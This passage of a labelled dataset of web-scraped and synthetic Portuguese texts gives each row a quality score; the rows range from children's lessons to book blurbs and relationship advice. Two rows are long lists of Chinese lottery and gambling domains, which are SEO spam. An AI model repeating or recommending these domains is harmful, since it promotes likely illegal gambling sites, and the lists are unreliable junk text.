21202r.com---彩票大家乐| www.tm4444.com| www.zj0004.com| www.7788076.com| www.5888xpj.com| www.le3388.com| www.sts5555.com| rcw321.com---融彩网| www.322888.com| 65707y.com---500彩票网| www.j1444.com| www.444999.com| www14iii.com| www.22130.com| www.am8.com| WWW.88US.COM| www.5252se.net| www.721388.com| www.3588mhd.com| www.hg517.com| 941194.com---博友彩| 5095h.com---幸运彩票| WWW.M9955.COM| www.3dztk.com| www.2053.com| 989995.com| www.jp8877.com| www.553388.asu.su| www.js206.com| www.tk1166.com| www.bete300.com| www.233033.com| www.7788blg.com| www.jls2014.com| www.am2100.com| yy63.com---YY彩票| 624880.com---彩61| WWW.44168.COM| www.19995.com| www.7687js.com| www.lzl6666.com| www.00778y.com| www.pjbet01.com| www.ttt111.com| www.288sao.com| www.xcs99.com| www.ra5988.com| hui6622.com| www.bte118.com| www.3022b.com| www.swj33.com| www.hc8088.com| WWW.AG.6691.COM| www.yh277.com| www.am2588.com| www.699666.com| www.4228i.com| www.che156.com| www.bai4488.com| www11msc.com| 510477.com---500彩票| www.gd666.com| 08588q.com---中国福利彩票| www.bet36365.com| www.777t.com| www.055166.com| 506953.com---网易彩票| gczj2.com---购彩之家| www.563214.com| www.laok999.com| www.hg2588.com| www.hg6969.com| www.sd8888.com| www.am1666.com| WWW.6HC88.COM| www.0636f.com| 901257.com---大赢家彩票平台| 68568b.com---亚洲彩| 77801w.com---凤凰彩票| www.bwin3099.com| www.80666c.com| www.mm888.com| www.xg80.com| www.jj.cn| www.42353.com| www.06620.com| www.4f4444.com| WWW.JMGS88.COM| www.gj0033.com| 191060.com---网易彩票| www.long1688.com| www.99137.com| www.ymz00.com| 0426.com| www.63777n.com| www.478bet.com| www.hgvip6.com| www.xjs8891.com| www.060xpj.com| www.0606678.com| www.10238.com| www.7217666.com| www.dzpk.com| 35155z.com---500万彩票| www.10650118.com| 87668z.com---亿彩堂| www.1388.so| www.7969.com| www.sun1122.com| www.8067.com| www.hg0709.com| www.hggj5588.com| 1cw.com| WWW.1100AI.COM| www.24404.com| www.bb888.cc| www.7682js.com| www.hm0018.com| www.77sunsport.com| hkjccp.com| www.22pj7.com| www.9003002.com| www.81133.net| www.81110.com| www.135050.com| www.5006c.com| 9393hg.co| 0006.88ms88ms.com| www.8suncity.com| www.6883.cc| WWW.67663.COM| www.gztcw.com.cn| 874966.com---幸运彩票| www.hdu66.com| www.g.999jkpf.com| www.696858.com| 821619.com---顶级娱乐| www.zt.net| 627012.com---双彩网| www.60388.com| www.9897555.com| WWW.ET157.COM| www.5534g.com| 393830.com---500彩票网| www.bethkjc.com| 35155m.com---500万彩票| www.7777116.com| WWW.HG1712.COM| www.tlc77.com| vip.h588.com| www.lzl9999.com| www.b99888.com| www.jg5566.com| www.xpj00044.com| www.clubs22.com| www.396789.com| www.hg1780.cc| www.amxj0000.com| www.55555sb.com| 6fk.net| search.zhcw.com| www.351888.com| www.555979.com| www.hg1231.com| 588088a.com---鸿利彩票| email.bodog88.com| www.7le88.cc| www.01opus.com| www.kj144.com| www.jmt678.com| www.2018e.com| 950665.com---大赢家彩票平台| www.33900.com| www.dhy1000.com| vv345.com| www.3239.com| 393888.com| www.3959.com| www.56833.com| www.817008.com| www.b3650002.com| 83033s.com---大赢家彩票网| wwww.171888.com| 8816y.com---8816彩票| www.sb5208.com| WWW.373555.COM| www.y468.com| www.4977.cc| www.h8877.com| www.8899shenbo.com| 946380.com---彩61| www.123kk.net| 23579d.com---好彩头彩票| www.88uu.info| www.0986.com| www.jh0011.com| www.349555.com| www.t11188.com| 919227.com---大玩家彩票| www.567rt.com| www.game456.com| www.75546.com| www.jwzzgw6.com| www.77sunsport.net| 500.500kj.com| 26163t.com---网易彩票| 9797abc.com| 1368k.cc---亿龍彩票| www.sb84.com| www.pj68833.net| www.447008.com| www.hg8048.com| www.m0033.com| www.229911.com| www.837005.com| www.880xpj.com| www.373365.com| www.sun16888.com| www.3d6999.com| 35918p.com---博乐彩票| www.hg98.biz| www.az4477.com| www.bet3650314.com| www.67308.com| www.206365.com| www.9889hc.com---818合彩| www.88099.com| www.24583.com| www.783333.com| www.9003.com| www.pj5595.com| www.596777.com| 44yfa.com---盈发彩票| www.modeng120.com| www.yl...,original,original,original,original,0,0.0 +"Por 925 Gramas De Prata De Jóias Por Atacado Anéis De Ametista Em Bruto,Citrino,Peridoto E Mais Pedras - Buy Anel De Prata,Jóia Por Atacado,Áspera Primas Product on Alibaba.com +Por 925 gramas de Prata de Jóias por atacado Anéis de Ametista Em Bruto, citrino, peridoto e mais pedras +US$ 0,50 - US$ 2,99 / Grama | 5 Grama/gramas (Min. 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Estou ansiosa por receber uma mensagem tua| Contacta-me caso queiras conhecer-me melhor|Descobre o site e ficar a saber porque este é o melhor local para achar a tua alma...",original,original,original,original,0,0.0 +"Enquanto na europa acontecia a revolução industrial que ocorreu na europa, entre os séculos xv e meados do século xviii cujo uso na indústria de. +Após a revolução industrial, as pequenas oficinas de artesanato foram sendo aos poucos substituídas pelas fábricas em um modelo bastante similar ao que. +Nesse país como na alemanha, a revolução industrial foi em parte uma consequência do apoio governamental sob na indústria têxtil. +A produção artesanal caseira, também chamada de indústria caseira, desenvolveu-se no século xv e praticamente desapareceu no século xix, superada pela indústria.",original,original,original,original,2,0.4 +"8 sinais de um homem que é dedicado a você como um filhote - Relacionamento - 2020 +Um homem dedicado faz você se sentir a mulher mais bonita em qualquer lugar. Ele nunca faz você duvidar de si mesmo. Ele pede que você se ame. +O homem que é dedicado a você remove todos os aplicativos de namoro. Ele se livra de seus antigos aposentos, porque entende que não precisa mais deles. Ele não vai encontrar um substituto para você. E ele sabe que não precisa de um plano alternativo para o caso de o relacionamento se desmoronar, porque ele acredita que eles durarão a vida toda. +O homem que te traiu pensa não só em sexo. Ele aprecia sua mente, seu senso de humor, a personalidade escondida sob sua pele. Ele gosta de passar tempo com você, mesmo quando você está coberto com camadas de roupa. Ele acha que a intimidade é mais do que despir. É quando você dá as mãos, abraça e ouve com cuidado um ao outro. +Um homem que é dedicado a você pensa em você, mesmo quando você não está por perto. Ele envia mensagens curtas, mesmo quando ele está com amigos. Ele sempre pergunta como você está para ter certeza de que está indo bem. Ele presta atenção em você todos os dias, não apenas quando você está na mesma sala com ele. +O homem que é dedicado a você familiariza você com todos, então todo mundo sabe que você é um casal. Ele te apresenta a sua família. Ele convida você a tomar uma bebida com seus amigos. Ele leva você para atividades de trabalho onde todos os seus colegas já sabem seu nome. Ele fala sobre você para todos que ele conhece, porque ele orgulhosamente anuncia que seu coração está ocupado por você. +Um homem que é dedicado a você responde a todas as suas perguntas, não tentando se esquivar ou sair de uma conversa desconfortável. Ele lhe diz a verdade, mesmo quando será difícil ouvi-lo. Ele respeita você o suficiente para lhe dar todas as informações e para ser honesto com você, e não para embelezar a história para se entregar à melhor luz. +O homem que é dedicado a você tem princípios morais. Ele não acredita em mentiras, enganos ou manipulações. Sempre que ele ouve sobre alguém que foi infiel, ele nunca o justifica. Ele expressa sua decepção porque não acredita que alguém mereça traição e traição. +Um homem que é dedicado a você nunca esconde nada de você. Ele lhe dá uma visão completa do seu mundo interior. Ele permite que você veja seus lados negativos, que ele esconde do resto do mundo. Você não precisa detalhar para obter respostas. Ele lhe dá qualquer informação que você deseja ouvir. Ele nunca esconde nada de você, especialmente o que está em seu coração. +O homem que é dedicado a você é aquele em quem você pode confiar. Quando ele chega em casa mais tarde do que você esperava, você não está preocupado sobre onde e com quem ele estava. Você sabe que nada de suspeito aconteceu. Você sabe que houve engarrafamentos fortes, ou muito trabalho, ou perdeu a noção do tempo com seus amigos - ou então sabe que ele não se permitirá mudar você, mesmo depois de um milhão de anos. Você acredita nele. +Copyright 2020 \ none \ 8 sinais de um homem que é dedicado a você como um filhote",original,original,original,original,0,0.0 +"O Ódio Que Você Semeia (capa do Filme) +Diario de Um Banana - 8 Volumes (box)",original,original,original,original,2,0.4 +"É sempre muito bom divulgar aqui os locais preparados para receber as pessoas com deficiência, nesse caso, os Clubes Escola, que oferecem diversas modalidades esportivas para todas as idades. +As 42 unidades, administradas pela Secretaria de Esportes Lazer e Recreação, estão localizadas em todas as regiões da cidade e grande parte delas adequadas, tanto estruturalmente, para as práticas esportivas, como arquitetonicamente, para a livre circulação por seus usuários. +Na unidade do Ibirapuera são oferecidas atividades em parceria com o CPSP (Clube dos Paraplégicos de São Paulo) nas modalidades dança, basquete, vôlei sentado, natação, atletismo, halterofilismo e bocha. As atividades, embora adaptadas, possuem critérios para a prática. O vôlei sentado, por exemplo, é exclusivo para pessoas paraplégicas. +Já o Clube Escola Lapa oferece atividade na piscina. Patrícia Allerberger é cadeirante e afirma que a iniciativa é importante porque faltam espaços adaptados na cidade. “Sinto falta de lugares acessíveis e gratuitos para o lazer. O bom deste clube é que ele é completamente acessível e gratuito”. +No Clube Escola Mooca são oferecidas aulas de tênis para cadeirantes e em breve será incorporada ao calendário modalidade vôlei sentado. As aulas de tênis acontecem duas vezes por semana (terça-feira e quinta-feira) nos períodos da manhã e da tarde. É preciso ter no mínimo 7 anos para participar. +Lembrando que todas as aulas e atividades dos Clubes Escolas são gratuitas. +Para fazer a carteirinha, basta levar ao local de sua preferência o RG, uma foto 3×4, comprovante de residência e um atestado médico que comprove que não há restrição à prática esportiva. +Confira o que já foi postado no blog sobre acessibilidade. +Fonte: Guia de Acessibilidade Esportiva e Prefeitura de São Paulo",original,original,original,original,3,0.6 +"Você já parou para pensar por que comemos pamonha nas festas juninas ou por que dançamos frevo no carnaval? Essas são apenas algumas das muitas tradições culturais que fazem do Brasil um país tão especial e rico em histórias! As tradições culturais são como um grande álbum de família, cheio de lembranças e costumes que passam de geração em geração. Elas nos mostram quem somos, de onde viemos e o que valorizamos. Imagine que cada tradição é como uma cor diferente em um grande arco-íris. Juntas, elas formam um espetáculo lindo e único, que é a nossa cultura brasileira. + +Desde a culinária até as festas populares, as tradições culturais estão presentes em todos os cantos do Brasil. No Norte, por exemplo, o Festival de Parintins encanta o mundo com as apresentações dos bois Caprichoso e Garantido, repletas de cores, músicas e danças que celebram a cultura amazônica. Já no Nordeste, o Bumba Meu Boi conta a história de um boi que morreu e ressuscitou, misturando elementos da cultura africana, indígena e portuguesa. No Sudeste, o carnaval do Rio de Janeiro é uma explosão de alegria e criatividade, com seus desfiles de escolas de samba que contam histórias e homenageiam a cultura brasileira. E no Sul, a festa da uva celebra a colheita e a cultura dos imigrantes italianos, com muita música, dança e, claro, uvas deliciosas! + +Mas as tradições culturais não são apenas festas e danças. Elas também estão presentes na nossa língua, nas nossas músicas, nas nossas comidas e até na forma como nos vestimos. Já ouviu alguma história contada pelos seus avós? Essa é uma forma de tradição cultural! Já comeu um bolo de fubá feito pela sua mãe ou avó seguindo uma receita antiga? Essa também é uma forma de tradição cultural! As tradições culturais são como um tesouro que precisamos cuidar e preservar. Elas nos conectam com o passado, nos ajudam a entender o presente e nos inspiram a construir um futuro ainda mais rico e diverso. Que tal perguntar para seus pais ou avós sobre as tradições culturais da sua família? Você pode descobrir histórias incríveis e aprender muito sobre as suas raízes. E lembre-se: cada um de nós é um pedacinho dessa grande história, e juntos podemos continuar colorindo o Brasil com as nossas tradições!",História,Tradições culturais,anos iniciais (1º ao 5º ano),"O texto apresenta alto valor educacional por introduzir o conceito de tradições culturais de forma acessível e envolvente para crianças. Utiliza exemplos regionais do Brasil, conectando o tema à realidade dos alunos. A linguagem é clara e estimula a interação familiar e a valorização das raízes culturais, tornando-o adequado para o ensino fundamental. O texto também está livre de informações complexas e conteúdo não educacional.",5,1.0 +"Um dos economistas mais conceituados da atualidade examina dois séculos de pobreza ao redor do globo e apresenta uma proposta para erradicar a miséria até 2025. +Jeffrey Sachs foi considerado pela revista Time uma das cem pessoas mais influentes do mundo. Ele é famoso pelo plano que acabou com a hiperinflação na Bolívia e por sua assessoria na liberalização econômica radical da Polônia e da Rússia. +Mas cada vez mais ele vem se envolvendo na solução de um problema que ainda assombra grande parte da humanidade: a miséria e suas sequelas sociais. Sachs visitou mais de cem países e conviveu com todos os graus de pobreza, especialmente a miséria extrema das aldeias africanas assoladas pela fome, pela malária e pela AIDS. +Unindo a narração de histórias emocionantes (passadas principalmente na Bolívia, Polônia, Rússia, Índia, China e África) com análise rigorosa, Sachs explica como, nos últimos duzentos anos, a riqueza se tornou desigual no planeta e expõe os motivos que impedem as nações mais pobres de melhorar sua sorte. +Ele também ensina a fazer um diagnóstico detalhado dos desafios econômicos a serem enfrentados por um país e a descobrir as possíveis saídas, propondo soluções a curto prazo. +Ao mesmo tempo, dirige duras críticas aos países ricos – em especial os Estados Unidos – e aos organismos financeiros internacionais. +Embora tenha sido escrito para provar que a economia pode ser a chave da solução do problema milenar da pobreza, O Fim Da Pobreza não deixa no leitor a memória do que se associa habitualmente às discussões econômicas: cifras, gráficos, operações de mercado. +Jeffrey Sachs é um homem com um instrumento na mão — o estetoscópio do clínico universitário capaz de diagnosticar as doenças das economias assim como de receitar-lhes a cura — e uma ideia na cabeça — a de que é possível acabar com a pobreza extrema em nosso período de vida.",original,original,original,original,4,0.8 +"Interseccionalidades do pós-humanismo crítico: uma assemblagem explosiva, por Eliseu Raphael Venturi - GGN +Início Artigos Interseccionalidades do pós-humanismo crítico: uma assemblagem explosiva, por Eliseu Raphael Venturi +Interseccionalidades do pós-humanismo crítico: uma assemblagem explosiva, por Eliseu Raphael Venturi +Pressupostos do feminismo, assim, expandem-se enquanto pressupostos críticos sobre processos biopolíticos em um contexto pós-humano +Francis Picabia. Lunaris. 1929[i]. +Interseccionalidades do pós-humanismo crítico: uma assemblagem explosiva +Historicamente, na constituição do espaço teórico do Pós-Humanismo Crítico (uma assemblagem), tendo por estopim o Anti-Humanismo Pós-Estruturalista (a “morte do homem” em Foucault e a “morte de Deus” em Nietzsche), os Estudos do Feminismo são um dos elos teóricos decisivos, junto aos Estudos Tecnocientíficos (incluindo-se os Estudos Tecnocientíficos Feministas de Donna Haraway), aos Estudos Descoloniais, aos Estudos de Gênero e Queer, bem como aos Estudos Raciais Críticos, na constituição dos chamados “Humanismos Críticos” no campo dos Estudos Culturais +A partir destes Humanismos Críticos, com a composição dos Estudos da Deficiência, os Estudos da Animalidade e os Estudos da Monstruosidade, o “humano” é colocado em perspectiva a outras formas de vida e do meio ambiente, retirando-se-lhe do centro do universo para se colocá-lo em grau de instanciação da vida, “momento” em uma cadeia de comunicações, trocas e intercâmbios entre diversas formas de vida e de tecnologia, na expectativa, inclusive, de se criar uma biocidadania multiespécies. Quaisquer dualismos se tornam provisórios, senão inoperantes. (Pramod Nayar). +Estes Estudos, assim, ainda assumindo o problema antropológico, mas em uma perspectiva não antropocêntrica do humanismo tradicional e, ainda, antimetafísica por definição, passaram a operar, nas Ciências Humanas e Sociais, a progressiva derrocada teórica de pressupostos da visão de mundo humanista tradicional, fundamentada em “centros” e dualismos específicos para a referência compreensiva e a própria construção epistemológica de seus conceitos e categorias. +Uma queda antropocêntrica, eurocêntrica, falocêntrica, androcêntrica e logocêntrica, em suas funções de exclusão política, ética e jurídica, foi posta, ao menos em potencial e nos recônditos teóricos, em curso. +Deste conjunto de apreensões do Pós-Humanismo, que se qualifica como pós-antropocêntrico, pós-humanístico, anti-especista, anti-exclusivista, anti-excepcionalista, anti-centralista, descentralizado, compreensivo-inclusivo, anti-hierárquico, multicamadas e pós-dualista (Francesca Ferrando), podem-se recolher diversos conceitos e pressupostos interpretativos e epistemológicos, diretamente conectados às críticas (poder-saber) propostas, também no campo do feminismo, por Sandra Harding e, por exemplo, ínsitos à crítica às noções de ciência e objetividade em suas pretensões patriarcais e hegemônicas. +Todos os esteios absolutos de segurança identitária e fundamentos de dominação social encontram-se, então, profundamente abalados em sua solidez ficticiamente estabelecida por meio de múltiplas estratégias e articulações de conhecimentos, práticas, instituições e múltiplos dispositivos eficientes. +Aqueles pressupostos críticos, por sua vez, podem ser conectados ao ideário e à prática do Direito Internacional dos Direitos Humanos que, pelo teor próprio de suas Declarações (dimensões de direitos e abertura da linguagem) pós Segunda Guerra Mundial e em expressão pós-moderna, fornecem os nós de uma rede de apreensão da interseccionalidade, permitindo a construção interpretativa alinhada em uma interconectividade de proteção e de promoção de diversas minorias e vulnerabilidades, o que vai desde a racionalidade empregada na produção normativa soberana (que passa a ter deveres e limites) e sua aplicação, até às relações micropolíticas e a desconstituição de aparatos e dispositivos ideológicos. O próprio questionamento do...",original,original,original,original,2,0.4 +www.xinshuibo.com| jj0066.com| www.tg99999.com| 488733.com| www.4228j.com| www.58163.com| www.hg8116.com| images.zhcw.com| www.yl911.com| www.hg0088.com| WWW.BAYERNCHINA.COMBBS| www.4049.cn| yl3500.com| www.5887388.com| www.hg0199.com| www.ag18820.com| www.8887js.com| www.35308.com| bwin2288.com| 7963.net| 5854a.cc---世���堂| 6666211.com| www.07667.com| 8839f.com---88彩票| www.2006333.com| WWW.HG6750.COM| www.886778.com| cf9904.com---创富彩票| www.00708.com| www.x678.com| www.00778x.com| www.9068ee.com| www.ambc9199.com| 678111.com| www.jiangshan-bbin.com| bxcp3.com---百姓彩票| www.sun3658.com| 60007o.com---福彩网| www.h992.cc| www.8371.com| www.726666.com| www.6267444.com| www.sun138bet.com| www.83866.com| h55688.com| www.789323.com| www.699508.com| www.yh8216.com| www.xgokok.com| 11msc.net| www.ggtk.com| www.dc27.com| 9149p.com---中华彩票| www.hg91.com| www.856666.com| www.mc883.com| qmkl7.com---全民快乐8| www.md002.com| www.w666.com| www.js46123.com| www.j00033.com| vip.hg858585.com| www.517888.cc| www.220588.com| kj.60884.com| www.239567.com| www.d0009.com| www.50599.com| 50024c.com---500彩票| www.bifen0.com| www.shenjihua.cc| www.ss508.com| www.hx3386.com| www.513513513.com| www.hg22988.com| WWW.6434.COM| www.wu8888.com| www.664664.com| www.hg220.com| www.00970.com| WWW.HG7072.COM| www.862789.com| www.gj0066.com| www.7141999.com| 50052b.com---500彩票| www.j1105.com| WWW.222.TT| www.bg0444.com| www.long86.net| 866269.com---博友彩| www.69769.com| WWW.80678.COM| www.rmb8000.com| wanhao.taoxieku.net| www.18567.com| www.888-563.com| www.xpj777000.com| 112028.com---幸运彩票| www.zs3322.com| www.yh999555.com| www.wcf1288.com| www.damahui.com| www.hg021.com| www.m2600.com| 371x.cc---博友彩| 8277.cc| www.86229.com| www.vns68999.com| 909644.com---众乐彩票| www.33589.com| 5xca.com---五星彩票| www.mgm988.com| www.117487.com| ccc.36.com| www.sun338.com| www.vns152.com| www.7555888.com| www.64688.com| www.vnsluntan.com| www.6728x.com| 188728.COM| www.4228m.com| www.432wyt.com| www.98555.com| www.50355.com| www.js56.com| www.99789.com| www.yham999.com| 930557.com---必发彩票| WWW.TB5000.COM| www.807888.com| www.r8811.com| www.qyh.com| www.bet365.uno| www.yh8009.com| www.492049.com| www1.w6789.com| 82676.com---全民快乐8| www.haole009.com| www.84887.com| www.41xx.com| www.hk7788.com| www.hg6638.com| jingcai.500.com| www.52988.com| www.123878.com| 579199.com---PK彩票| www.7686.com| www.111222u.com| www.j6665.com| www.5858k.cc| 777337.com---玩彩吧| www.63456789.com| www.362668.com| www.hc1666.com| www.sjg500.com| www.vns449999.com| www.ys1199.com| wap.38388.com| www.bbl022.com| www.19aaa.com| www.tt5577.com| www.xpj1044.com| www.hg975.com| WWW.PPTIYU.COM| 303479.com---500彩票| www.z88555.com| 71399j.com---华彩| www.349459.com| www.jjss11.com| www.sun226.com| www.ai1100.com| www.710.com| www.jinniu60.com| www.yh123000.com| www.pujing.ac| www.qx99.com| www.jsyh999.com| www.6099.cc| www.sun1567.com| www.longbo8.net| www.bobo.com| www.58345.com| WWW.3000.CC| www.cp3721.com| www.59268.com| www.xin819.com| www.459999.com| cpw-2.com---彩票网| www.56999.cc| 710650.com---大赢家彩票平台| www.ha0009.com| www.1123ag88.com| bwin3388.net| www.kxm666.com| www.44418.com| www.wns8188.com| www.b369.com| www.13145802.cn| www.66099.com| tmw82.cn| www.wz531.com| www.223222.com| www.97b.com| www.65881.com| www.88330.com| www.yl223344.com| 163k.cn| www.yddc666.com| www.9828555.com| WWW.SB5202.COM| www.hg1022.com| www.88msc.net| www.tkk288.com| 80075f.com---吉利彩票| 50054a.com---500彩票| 640477.com---500彩票| www.byc03.com| www.45636.com| www.lianhua2.com| www.94887.com| www.999488.com| www.277222.com| 33598c.com---幸运彩票网| 475711.com---尊彩| www.398.am| www.447722.com| www.yidali8888.com| www.76144.com| www.bwin299.com| WWW.SUNBET500.COM| www.xpjvvv.com| www.408n.com| www.708708.com| 112255.com| www.ok2728.com| www.588888.com| www.hggj3388.com| www.62sun.com| www.001277.com| WWW.3088HG.COM| WWW.BET637.COM| WWW.BET33365.COM| WWW.SHENBO1H41.COM| WWW.GOOGLE.CN| ascp1.com---爱上彩票| www.msc22.com| www.pj5333.com| www-781188.com| www.53494.com| www.jb984....,original,original,original,original,0,0.0 +"podcasts | Android Mobile +FINALMENTE A GOOGLE LANÇOU aplicativo para podcast! +Neste video te apresento o novo aplicativo que a Google liberou na Google Play para podcasts, finalmente temos um app do Google para essa tarefa e com certeza ele sera um destaque em pouco tempo, confira todas as funcões e recursos dele! +➥ SMARTPHONES SUPER BARATOS: +https://goo.gl/uPRCiC +➥ ESTA ATRAS DE UMA MAQUININHA DE CARTÃO? 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(Google Play Music) +You can now play podcasts through Google Play Music on your Android! +► Help Me Reach 100,000 Subscribers! Click to Subscribe! ► http://bit.ly/TypicalReviewsYT +► Support us on Amazon! ► http://amzn.to/1UzROS0 +► Official Android Blog Post ►http://officialandroid.blogspot.ca/2016/04/welcome-to-google-play-music-podcast.html +● Add me on Snapchat – TypicalReviews +● Follow me on Twitter – http://www.twitter.com/TypicalReviews +● Follow my Instagram – http://www.instagram.com/TypicalReviews +● Like me on Facebook – http://www.facebook.com/TypicalReviews +● Follow me on Google Plus – http://plus.google.com/+TypicalReviews +Channel: Typical Reviews +Published: 2016-04-21 15:36:25 +O FUTURO CHEGOU NO WHATSAPP! Veja as novidades que em breve nós iremos testar! +Neste video quero te mostrar duas novidades que comprovam que o futuro chegou no WhatsApp, uma das funcões ja foi testada por mais de milhão de usuarios na India e a outra foi descoberta a poucos dias, confira tudo! +https://youtu.be/aLhPpZIHeDA +Published: 2018-06-19 15:32:23 +Melhor aplicativo Android para músicos usarem em shows com playback profissionais – APS Player 2 +Melhor aplicativo Android para musicos fazerem shows com playback profissionais – APS Player 2 – Adoro Musicas +Baixe o tom dos playbacks em tempo real e cante com seu playbacks no tom mais baixo ou mais alto conforme sua potencia vocal. aplicativo para tocar playbacks e alterar seu tom e velocidade. +https://goo.gl/r3xdBr +Channel: Adoro Músicas e Karaoke +Published: 2018-06-20 06:01:35 +Como consultar o PIS 2018 pelo celular – Fácil e rápido! +Neste video voce vai aprender a consultar o saldo do PIS 2018 pelo celular atraves do aplicativo oficial da caixa, veja como e simples e facil e se quiser fazer sua senha internet voce ira aprender tambem! +➥APLICATIVO CAIXA TRABALHADOR +https://play.google.com/store/apps/details?id=br.gov.caixa.trabalhador +➥ FACA SUA SENHA INTERNET +http://www.caixa.gov.br/beneficios-trabalhador/pis/cotaspis +https://youtu.be/X_TIoyh2l68 +Published: 2018-06-21 14:58:36 +Posted in google android. Tagged aplicativo, google, neste, podcasts, video.",original,original,original,original,1,0.2 +"Já parou para pensar que a leitura é como uma chave mágica que abre portas para mundos infinitos? Ler não é apenas juntar letrinhas e formar palavras, é muito mais do que isso! É embarcar em uma aventura, conhecer personagens incríveis, aprender sobre lugares distantes e, principalmente, entender o que o autor quis nos contar. Mas como desvendar esses segredos e nos tornarmos verdadeiros exploradores de textos? + +Primeiramente, é fundamental entender que cada texto possui um objetivo. Alguns querem nos informar sobre algo, como uma notícia sobre a descoberta de uma nova espécie animal na Amazônia. Outros querem nos divertir, como um livro de aventuras cheio de peripécias. E ainda existem aqueles que querem nos convencer de algo, como um anúncio que busca nos mostrar as vantagens de um produto. Identificar o objetivo principal do texto é o primeiro passo para uma boa interpretação. + +Depois, é importante prestar atenção aos detalhes. As palavras-chave, as frases que se repetem, o tom utilizado pelo autor (ele está sério? Engraçado? Emocionado?) – tudo isso contribui para a construção do significado do texto. Imagine que você está montando um quebra-cabeça: cada peça é uma informação importante, e juntando todas elas, você consegue ver a imagem completa. + +Um exemplo prático: imagine que você está lendo uma postagem de um blog sobre a importância de cuidar do meio ambiente. O autor usa frases como “nosso planeta está em perigo” e “precisamos agir agora”. Essas frases nos mostram que ele está preocupado com a situação e quer nos alertar sobre a urgência de tomarmos atitudes para proteger a natureza. Ao percebermos isso, a nossa interpretação do texto se torna mais profunda e significativa. + +Além disso, não tenha medo de usar o dicionário! Se você encontrar uma palavra desconhecida, não hesite em pesquisar o seu significado. Ampliar o seu vocabulário é como adquirir novas ferramentas para a sua caixa de leitura, que te ajudarão a desvendar cada vez mais segredos textuais. + +E o mais importante: leia com atenção e faça perguntas! O que o autor quis dizer com isso? Por que ele usou essa palavra? Concordo com o que ele está falando? Fazer perguntas e buscar as respostas dentro do texto é uma ótima forma de aprofundar a sua compreensão e desenvolver o seu senso crítico. A leitura crítica é um superpoder que te permite analisar informações, formar suas próprias opiniões e não ser facilmente enganado. + +Lembre-se: a interpretação de texto é uma habilidade que se desenvolve com a prática. Quanto mais você lê, mais fácil se torna entender o que está por trás das palavras. Então, que tal começar agora mesmo a explorar novos mundos através da leitura? Abra um livro, um artigo, um blog, e embarque nessa aventura! E ao terminar a leitura, reflita: o que você aprendeu? O que você sentiu? O que você pensa sobre o assunto? As respostas para essas perguntas te mostrarão o quão longe você pode chegar com a magia da interpretação textual.",Português,Leitura e interpretação de texto,anos finais (6º ao 9º ano),"O texto aborda a importância da leitura e interpretação textual de forma didática, utilizando exemplos práticos e linguagem acessível, o que o torna adequado para o ensino fundamental. Explica o objetivo do texto, a atenção aos detalhes e o uso do dicionário, incentivando a leitura crítica e reflexiva. A progressão da análise textual, aliada à linguagem simples, garante o alto valor educacional e a adequação ao currículo escolar.",5,1.0 +"Olá, pequenos exploradores! Já pararam para pensar por que chove, como o arco-íris se forma ou de onde vem o vento? Tudo isso são fenômenos naturais, acontecimentos incríveis que a natureza nos presenteia todos os dias! Vamos juntos desvendar alguns desses mistérios? + +Imagine um dia ensolarado. O sol aquece a água dos rios, lagos e oceanos, transformando-a em vapor, como se fosse uma panela gigante fervendo. Esse vapor sobe, sobe, sobe lá para o alto, formando as nuvens. Quando as nuvens ficam bem cheias de vapor, ele se transforma em gotinhas de água que caem em forma de chuva, irrigando as plantas, matando a nossa sede e enchendo os rios novamente. É como um ciclo mágico! E o mais legal é que a chuva não é sempre igual: às vezes cai bem fininha, outras vezes vem com força, em um temporal. Já repararam nisso? + +E o vento? Ele é o ar se movimentando! O ar quente sobe e o ar frio desce, criando correntes que sentimos como vento. O vento pode ser suave, como uma brisa que refresca o rosto, ou forte, como um vendaval que balança as árvores. Sabiam que o vento também ajuda a espalhar as sementes das plantas por aí, garantindo que novas árvores e flores nasçam? + +Agora, quem já viu um arco-íris? Ele é um espetáculo de cores que aparece quando a luz do sol atravessa as gotinhas de água que estão no ar depois da chuva. A luz se divide em várias cores, formando aquele arco colorido que tanto amamos! É como se a natureza estivesse pintando o céu. + +Existem muitos outros fenômenos naturais incríveis para descobrirmos, como os raios e trovões, o ciclo das estações do ano, as fases da lua e até mesmo a formação das ondas do mar. Que tal observar o mundo ao seu redor com mais atenção? Quais fenômenos você consegue identificar no seu dia a dia? Converse com seus pais, professores e amigos, pesquisem juntos e divirtam-se explorando a magia da natureza! A natureza é um livro gigante esperando para ser lido e compreendido. Cada fenômeno é uma página cheia de surpresas e aprendizados. Então, abram seus olhos, usem a curiosidade e embarquem nessa aventura!",Ciências,Fenômenos naturais,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional para os anos iniciais do ensino fundamental. Introduz fenômenos naturais de forma lúdica e acessível, incentivando a curiosidade e a observação. A linguagem é adequada para crianças, e os exemplos são relevantes para o cotidiano. Explica conceitos como chuva, vento e arco-íris de maneira simples e eficaz. A ausência de informações complexas o torna ideal para essa faixa etária, promovendo um aprendizado leve e estimulante.",5,1.0 +"Arquivos horta | Sesc +Home Search results for ""horta"" +Educação, Notícias, Saúde, Sesc Ler Goiana | 13 setembro, 2017 | 0 +Iniciativa acontece no Sesc Ler Goiana e traz Educação Nutricional como disciplina escolar com o objetivo de conscientizar para alimentação saudável e o combate à obesidade.",original,original,original,original,3,0.6 +"Preparar-se para uma prova exige uma dedicação que vai além do treinamento físico. Além de cumprir a planilha de treinamento, é preciso respeitar o tempo de descanso e também cuidar da alimentação. Mas quando o desafio envolve corridas de longa distância, existe um quarto fator tão importante quanto os demais: o psicológico. Se este não for treinado, a mente pode virar sua pior inimiga durante a prova, sendo capaz até de fazê-lo fracassar no grande dia. +Abaixo, algumas dicas que vão ajudá-lo a desenvolver um bom preparo emocional para que o medo e a ansiedade não dominem você no dia da prova. +Quanto mais o corredor conhecer seu próprio corpo, mais preparado ele estará no dia da prova. Correr ouvindo música ou conversando com amigos é ótimo para tirar o foco da distância, mas reserve uns dias do seu treino para correr livre de distrações. “É importante prestar atenção aos sinais que seu corpo dá em relação à musculatura, sistema cardiovascular e respiração”, aconselha Eduardo Cillo, doutor em psicologia experimental. Esse trabalho de auto-observação vai ajudar o atleta a perceber se está forçando muito ou se pode acelerar mais. +É preciso estar ciente de que todo atleta entra em uma prova para correr contra ele mesmo. Tire o foco dos corredores ao seu lado e concentre-se em finalizar o trajeto e superar suas próprias marcas. Em corridas de longa distância, tentar acompanhar um adversário pode tanto servir de estímulo, como também ser algo desastroso, colocando-o sob risco de quebrar durante a prova. +O corredor Flávio Oliveira, de 36 anos, sentiu na pele a importância de se manter positivo durante um desafio. “Participei no ano passado da Maratona Uphill, uma 